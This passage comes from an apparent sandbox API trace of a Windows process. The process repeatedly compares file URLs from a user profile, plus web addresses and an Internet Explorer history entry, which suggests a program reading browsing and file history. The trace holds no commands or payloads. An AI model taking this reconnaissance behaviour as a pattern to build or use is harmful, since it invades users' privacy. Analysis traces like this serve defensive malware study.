(_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/0mck7qex.odt") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/nzix0sllab7kos.flv") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/wf26tyfkwvqf2by4bhd.gif") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/fl_cd2j6qblgazwa2sql.odp") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/7got.flv") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/1af7s2.pdf") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/usy6mrdrok9xbj.jpg") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/fqiucen.pptx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/mx7wx4e_2m.ods") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/jgo-nkt.pptx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/xortiubcm%209dtd-.xlsx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/wovpfsxpf7ltov.xlsx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/m4b.xls") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/o4g%208wql.ots") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/p61kxiadv1lk3os9qi3q.rtf") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/4_0e8edve.flv") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/ss5todkecrcizvrpi.flv") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/dmwuzqljb06l.flv") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/epgdsrurpjc0tqtqve.jpg") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ggpyrx2ux.png") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/olryse9.pptx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/w6ad.gif") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/y8zipz.mkv") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/srhckdi.pps") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/fcg74r-hlzx8kpasejr.xls") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/8hx4xzitippukbdb.ots") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/e6gqzqsfu-.ppt") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/h1hmwuywez_o3tm.docx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="http://google.com") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/-noyn-opt9xgdizqm/asrj.csv") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/pmrh0a5jwr.flv") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yhgdbpj3cxkhlw.gif") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/yelia.bmp") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/xmyeovegmrzxalkg.bmp") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/uosl_1fjka5.flv") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/5h_jfktd9t3cfjg_0bpl.gif") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/videos/fd%200eikyigmitdbhxtw.flv") returned -1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/o0q4ua6i.mkv") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/rt-vvidbgwyx6u.gif") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/wvwv-n0sd.pptx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/q4sa.xls") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/g1e5vbwma0h.ods") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/_r0qj/uvduw5.pdf") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/et-ndsu%20foj42n/aaqhi024a_y_t2mzeed.jpg") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/g_3izhwq87.docx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/yulsb9jd4.pptx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/documents/kprhfe62wlyhm_gju5i.xlsx") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/rl27ms.mkv") returned 1 [0069.086] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/cisvwxwmuvnvndm.jpg") returned 1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/desktop/gsiecs%20arl59i.pps") returned 1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="https:url \x02") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="http://www.google.de/") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="https://support.microsoft.com/products/internet-explorer") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="https://support.microsoft.com/internet-explorer") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="https://ieonline.microsoft.com/favicon.ico") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="http://go.microsoft.com/fwlink/") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="http://static-hp-neu-s-msn-com.akamaized.net/sc/2b/a5ea21.ico") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="http://www.msn.com/") returned -1 [0069.087] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="https://www.google.de/") returned -1 [0069.092] wcscmp (_String1="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png", _String2="res://c:\\windows\\system32\\mmcndmgr.dll/views.htm") returned -1 [0069.092] wcslen (_String="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned 0x32 [0069.092] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.092] _strlwr (in: _Str=":Host: Computer" | out: _Str=":host: computer") returned=":host: computer" [0069.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr=":host: computer") returned 16 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2=":host: www.google.de") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned -1 [0069.092] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/oe_9.docx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/neys-vvyovcjnl64w.pdf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/vsiu.ppt") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/xmfffekl.gif") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/x2ubk6qmfay.mkv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/tgste51da.pdf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/0dhb1lq5yot7udpqilv.rtf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/r4xqhuytc.bmp") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/yv%20smf4nsa554p3vd9.jpg") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/9fo6aacn.bmp") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/tkhgm7ytxij4tygo3.csv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/zgid.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/2ag4lbo.pdf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/u_x855jomdyckkuedf4y.jpg") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/gt_uelv0.rtf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ktpvxxq7gk6v-bti3h2.csv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/xi9mo3.ppt") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/ln5snup4dif.flv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ijdl3pp8e7asb.mkv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/imqafz%20rpvsig5hi.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/dogv5_s.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/cwnutkiuih3q13b4.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/z5jyw4ck3pxgs8vo6pwx.xls") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/h_7vjswkn-j5z6eibtc0.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/iy0bs-wzvfapifst.xlsx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/zq3uv.gif") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/i92xqrotuygpp.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ox2%20tpjk0%20kyqwyzz.docx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/zrockiiwrql0wttbyu.pdf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/qbatepvwwrmxg.mkv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/hp0a.pptx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/tukxy_htj_46yx.mkv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/xrlop0fhih6h4mumu.bmp") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/gg7cycfjmtiunlpskcq.pdf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/rbaw.bmp") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/t6hliemu6l0r.ppt") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/pu8nkjiakvioxnl1gn5.docx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/u8ej.mkv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/8wgzy1b.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/5pbmi8.jpg") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/c9bf3zxlekmuces.pptx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/w39fbpx.pptx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/c40oh8.xlsx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/k61u%208qbit65csajnmu.pptx") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/eyo_jfjnlvh.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/ma9jv-dyfrqq5wz%20rh.png") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/twly6%20njwxp7s.ots") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/jtfuniuktukb.rtf") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhjp5caf9c99.gif") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/ylrsy2oezmqpamb5xpsr.mkv") returned -1 [0069.093] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/xlx9xfvuh.jpg") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/s_upngnh6botne0evc.gif") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/bhevv6.mkv") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/e57dc0/pp66ey.odp") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/yreqrf_sg4jx5edkvvl/1r1kigcrnnjgvfo_x.flv") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/appdata/roaming/btyd0hrgdblueuq.rtf") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/utqtv2mvpn8rqx.ppt") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/nhdk1klix_x.flv") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/isgcjtsl.xlsx") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/sa--kau.pptx") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/gu8x7jtyuieejllb.docx") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/gpxpy.doc") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/-gcilf6cuob%20faba9y.ots") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/desktop/kiam-z8ft.png") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/cjl4go0q/f7xu9f0sbj9qzlfh/ypjl%20kqd7ou.gif") returned -1 [0069.094] wcscmp (_String1=":host: computer", _String2="file:///c:/users/aetadzjz/documents/kjo%20dw4y7j6psds.pptx") returned -1 [0069.094] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.094] _strlwr (in: _Str="file:///C:/Users/aETAdzjz/AppData/Roaming/ke8ik3.png" | out: _Str="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png" [0069.094] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2869a0, cbMultiByte=-1, lpWideCharStr=0x28271c, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/aetadzjz/appdata/roaming/ke8ik3.png") returned 53 [0069.094] _memicmp (_Buf1=0x28691c, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.094] _strlwr (in: 